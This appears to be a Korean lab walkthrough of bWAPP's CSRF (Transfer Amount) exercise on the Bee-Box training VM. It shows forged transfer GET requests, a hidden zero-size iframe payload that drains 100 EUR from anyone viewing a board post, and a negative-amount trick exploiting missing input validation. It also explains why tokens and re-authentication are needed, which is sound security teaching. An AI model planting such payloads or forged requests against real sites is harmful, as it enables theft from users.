Bee-Box(비박스) CSRF(Transfer Amount)
송금은 중요기능이며, 중요기능을 구현할 때는 반드시 정상적인 절차에 따른 요청인지 확인(Token 사용)하고, 요청 주체를 확인하는 로직이 반영(재인증,재인가)되어야합니다.
(1) Bee-Box에서 http://beebox/ 사이트로 이동하여 로그인합니다.(bee/bug)
(2) Cross-Site Request Forgery(Transfer Amount)로 이동합니다.
(3) 서버로 전달되는 내용을 확인합니다.
=> 개발자도구(F12)에서 소스코드를 확인
=> GET방식 http://localhost/bWAPP/csrf_2.php?account=123-45678-90&amount=0&action=transfer
⇒ 요청 절차와 요청 주체를 확인하는 정보는 서버로 전달되고 있지 않음
⇒ 요청 처리에 필요한 값만 서버로 전달하고 있음
(4) 브라우저 창에 아래 주소를 요청합니다.
http://localhost/bWAPP/csrf_2.php?account=010-202312-21&amount=100&action=transfer
=> 금액이 줄어들었음.
=> account로 100 EUR을 송금한다는 의미
=> 로그인한 사용자의 계좌에서 amount 만큼의 돈이 빠져나감
게시판에 아래와 같은 코드를 추가하면 해당 게시물을 열람하는 사용자의 계좌에서 공격자 계좌로 100EUR씩 빠져나가는 문제가 발생합니다.
<iframe src="http://beebox/bWAPP/csrf_2.php?account=공격자계좌&amount=100&action=transfer" width="0" height="0"></iframe>
=> 해당 사이트는 자동화된 요청을 검증하지 않고 요청을 처리하기 때문에 CSRF 취약점이 존재합니다.
(5) 추가적으로 브라우저 창에 아래 주소를 요청합니다.
http://localhost/bWAPP/csrf_2.php?account=010-202312-21&amount=-1000&action=transfer
=> 금액이 늘어났음
=> 원래 송금이라는 것은 내 계좌에서 돈이 빠지고, 받는 사람 계좌에 돈이 들어가야함
=> amount에 음수 값을 넣어 요청하게 되면 내 계좌에서 돈이 들어오고, 받는 사람 계좌에서 돈이 빠져나감
=> 숫자 데이터를 검증하지 않아서 발생하는 문제(입력값 검증 부재)